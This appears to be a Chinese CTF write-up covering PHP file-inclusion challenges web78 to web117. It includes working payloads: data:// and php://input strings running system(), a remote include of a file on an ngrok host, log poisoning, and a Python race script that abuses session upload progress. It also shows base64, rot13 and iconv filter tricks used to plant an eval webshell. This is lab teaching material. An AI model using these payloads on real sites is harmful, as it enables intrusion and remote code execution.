web78
源码开局
php://
?file=php://filter/read=convert.base64-encode/resource=flag.php
data://
?file=data://text/plain,<?php%20system('cat `ls`')?>
php://
?file=php://input POST <?php system('tac `ls`') ?>
http
?file=http://9eb3-111-17-194-91.ngrok.io/wanan.txt ?file=https://9eb3-111-17-194-91.ngrok.io/wanan.txt
web79 <?php if (isset ($_GET ['file' ])){ $file = $_GET ['file' ]; $file = str_replace ("php" , "???" , $file ); include ($file ); }else { highlight_file (__FILE__ ); }
?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b /?file=PHP://input POST <?php system('tac `ls`') ?> http://0d236b1b-2f77-47ca-b3ac-be411c6f0441.challenge.ctf.show/?file=http://9eb3-111-17-194-91.ngrok.io/wanan.txt
这里的%2b是加号,在我这里直接使用+号是不行的
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgYGxzYCcpID8%2b
web80 <?php if (isset ($_GET ['file' ])){ $file = $_GET ['file' ]; $file = str_replace ("php" , "???" , $file ); $file = str_replace ("data" , "???" , $file ); include ($file ); }else { highlight_file (__FILE__ ); }
payload
?file=http://9eb3-111-17-194-91.ngrok.io/wanan.txt /?file=PHP://input POST <?php system('tac `ls`') ?>
web81 <?php if (isset ($_GET ['file' ])){ $file = $_GET ['file' ]; $file = str_replace ("php" , "???" , $file ); $file = str_replace ("data" , "???" , $file ); $file = str_replace (":" , "???" , $file ); include ($file ); }else { highlight_file (__FILE__ ); }
日志包含
?file=/var/log/nginx/access.log
接着修改ua
web82 利用session.upload_progress进行文件包含 在php.ini中有以下默认的配置
1 . session.upload_progress.enabled = on2 . session.upload_progress.cleanup = on3 . session.upload_progress.prefix = "upload_progress_" 4 . session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS" 5 . session.upload_progress.freq = "1%" 6 . session.upload_progress.min_freq = "1" 7 .session.use_strict_mode=off
如果session.auto_start=On,则php在接收请求的时候会自动初始化session,不在需要执行session_start().但是默认情况下这个选项都是关闭的.
但是session还有一个默认选项,session.use_strict_mode的默认值为0.此时用户是可以自定义session id的.比如,我们在cookie里设置phpsessid=tgao,php将会在服务器上创建一个文件:/tmp/sess_TGAO 即使此时用户没有初始化session,php也会自动初始化session.并产生一个键值.这个键值由ini.get(“session.upload_progress.prefix”)+和由我们构造的session.upload_progress.name值组成,最后被写入sess_文件里.
默认配置session.upload_progress.cleanup=on导致文件上传以后,session文件内容立即清空,这个时候我们就可以通过条件竞争来实现
session文件默认存储路径
/var/lib/php/sess_PHPSESSID /var/lib/php/sessions/sess_PHPSESSID /tmp/sess_PHPSESSID /tmp/sessions/sess_PHPSESSID
author:lonmar import ioimport requestsimport threadingsessID = 'flag' url = '' def write (session ): while event.isSet(): f = io.BytesIO(b'a' * 1024 * 50 ) response = session.post( url, cookies={'PHPSESSID' : sessID}, data={'PHP_SESSION_UPLOAD_PROGRESS' : '<?php system("cat *.php");?>' }, files={'file' : ('test.txt' , f)} ) def read (session ): while event.isSet(): response = session.get(url + '?file=/tmp/sess_{}' .format (sessID)) if 'test' in response.text: print (response.text) event.clear() else : print ('[*]retrying...' ) if __name__ == '__main__' : event = threading.Event() event.set () with requests.session() as session: for i in range (1 , 100 ): threading.Thread(target=write, args=(session,)).start() for i in range (1 , 100 ): threading.Thread(target=read, args=(session,)).start()
题目
<?php if (isset ($_GET ['file' ])){ $file = $_GET ['file' ]; $file = str_replace ("php" , "???" , $file ); $file = str_replace ("data" , "???" , $file ); $file = str_replace (":" , "???" , $file ); $file = str_replace ("." , "???" , $file ); include ($file ); }else { highlight_file (__FILE__ ); }
不过这里脚本不给玩,我们试试burp
构造一个上传表单
<!DOCTYPE html> <html> <body> <form action="http://718ac6a2-5a12-4d56-a573-3a13cb88450b.challenge.ctf.show/" method="POST" enctype="multipart/form-data"> <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" /> <input type="file" name="file" /> <input type="submit" value="submit" /> </form> </body> </html>
web87 <?php if (isset ($_GET ['file' ])){ $file = $_GET ['file' ]; $content = $_POST ['content' ]; $file = str_replace ("php" , "???" , $file ); $file = str_replace ("data" , "???" , $file ); $file = str_replace (":" , "???" , $file ); $file = str_replace ("." , "???" , $file ); file_put_contents (urldecode ($file ), "<?php die('大佬别秀了');?>" .$content ); }else { highlight_file (__FILE__ ); }
这里的file_put_contents将字符串写入文件中了
先同php://filter的base64-decode流写入一个zf.php文件,要进行双url编码
php://filter/write=convert.base64-decode/resource=zf.php
%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%37%61%25%36%36%25%32%65%25%37%30%25%36%38%25%37%30
还要在处理一下,由于解码时会去除无法解码字符,所以最后剩下
<?php die('大佬别秀了');?> phpdie
总共六个字符,而base64算法解码时是4个byte为一组,那么我们需要将其补充成8个byte,而a是一个byte,那么增加两个a就可以正常解码
<?php @eval($_POST[zf]);?> -> PD9waHAgQGV2YWwoJF9QT1NUW3pmXSk7Pz4= -> aaphpdiePD9waHAgQGV2YWwoJF9QT1NUW3pmXSk7Pz4=
可以看到成功解码了,同样如果不补齐就会出错
最终上传 /?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%37%61%25%36%36%25%32%65%25%37%30%25%36%38%25%37%30 POST content=aaPD9waHAgQGV2YWwoJF9QT1NUW3pmXSk7Pz4=
接着访问zf.php
php:filter的妙用 xxe中的使用 由于xxe漏洞的特殊性,我们读取html PHP文件时可能会抛出错误,原因是php基于标签的脚本语言,<?php ?>这个语法和xml相符合,所以在解析xml的时候会被误认为是xml,而其中内容,又有可能与标准xml冲突,所以导致了出错
php://filter是php语言特有的协议流,作用是作为一个中间流来处理其他流,比如我们可以使用如下将post内容转换成bse64输出
readfile("php://filter/read=convert.base64-encode/resource=php://input")
所以在xxe中,我们也可以将php等容易引发冲突的文件流用php:filter协议流过一遍
php://filter/read=convert.base64-encode/resource=./xxe.php
巧用编码与解码 <?php $content = '<?php exit; ?>' ;$content .= $_POST ['txt' ];file_put_contents ($_POST ['filename' ], $content );
$content在开头增加了exit过程,导致即使我们成功写入一句话,也执行不了(在实战中,通常出现在缓存 配置文件等地方,不允许用户直接访问的文件,都会被加上if(!defind(xxx))exit;这类的限制)
这里的$_POST[“filename”]是可以控制协议的,我们即可使用php://filter协议来绕过,使用php://filter流的base64-decode方法,将$content解码,利用php base64_decode函数特性去除exit
在base64编码中只包含64个可打印字符,而php在解码base64时,遇到不在其中的字符时,将会跳过这些字符,仅将合法字符组成一个新的字符串进行解码.
所以base64_decode可以理解成
<?php $_GET ["txt" ] = preg_replace ("|[^a-z0-9A-Z+/]" ,"" ,$_GET ['txt' ]);base64_decode ($_GET ['txt' ]);
所以当$content被加上了<?php exit;?>之后,我们可以使用php://filter/write=convert.base-decode类首先对其解码.在解码过程中,字符< ? ; > 空格等一共有七个字符不符合base64编码的字符方位将被忽略,所以最终被解码的字符仅有”phpexit”和我们传入的其他字符.”phpexit”一共七个字符,因为base64算法解码时是4个byte一组,所以给他增加一个”a”一共八个字符.这样 “phppexita被正常解码,而后面传入的webshell的base64内容也被正常解码.结果就是<?php exit; ?>没有了
字符串操作方法 还可以使用php:filter字符串处理方法来去除exit.<?php exit;?>实际上是一个xml标签,既然是xml标签,我们就可以使用strip_tags函数去除它,而php://filter刚好支持
php://filter/read=string.strip_tags/resource=php://input
php://filter允许使用多个过滤器,我们可以先将webshell用base64编码,在调用完成strip_tags后再进行base64-decode
除此之外,我们还可以利用rot13编码独立完成任务。原理和上面类似,核心是将“死亡exit”去除。<?php exit; ?>
在经过rot13编码后会变成<?cuc rkvg; ?>
,在PHP不开启short_open_tag时,php不认识这个字符串,当然也就不会执行了
当然,这个方法的条件就是不开启短标签。
web88 <?php if (isset ($_GET ['file' ])){ $file = $_GET ['file' ]; if (preg_match ("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i" , $file )){ die ("error" ); } include ($file ); }else { highlight_file (__FILE__ ); }
payload
绕过等号就好
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgYGxzYCcpOw
web116 要分析视频,我不会
可以正常读文件
试了几个常见的就出来了,也可以爆破
web117 <?php highlight_file (__FILE__ );error_reporting (0 );function filter ($x ) { if (preg_match ('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i' ,$x )){ die ('too young too simple sometimes naive!' ); } } $file =$_GET ['file' ];$contents =$_POST ['contents' ];filter ($file );file_put_contents ($file , "<?php die();?>" .$contents );
应该是让用别的过滤器
php://filter的各种过滤器 php://filter的各种过滤器
这里使用convert.iconv.*
?file=php://filter/convert.iconv.ucs-2be.ucs-2le/resource=5.php POST: contents=?<hp pvela$(G_TE'['a)] ;>?
原因
<?php highlight_file(__FILE__); file_put_contents("php://filter/convert.iconv.ucs-2be.ucs-2le/resource=5.php" , "<?php die();?>?<hp pvela$(G_TE'['a)] ;>?"); ?>
可以看到前面不符合php的格式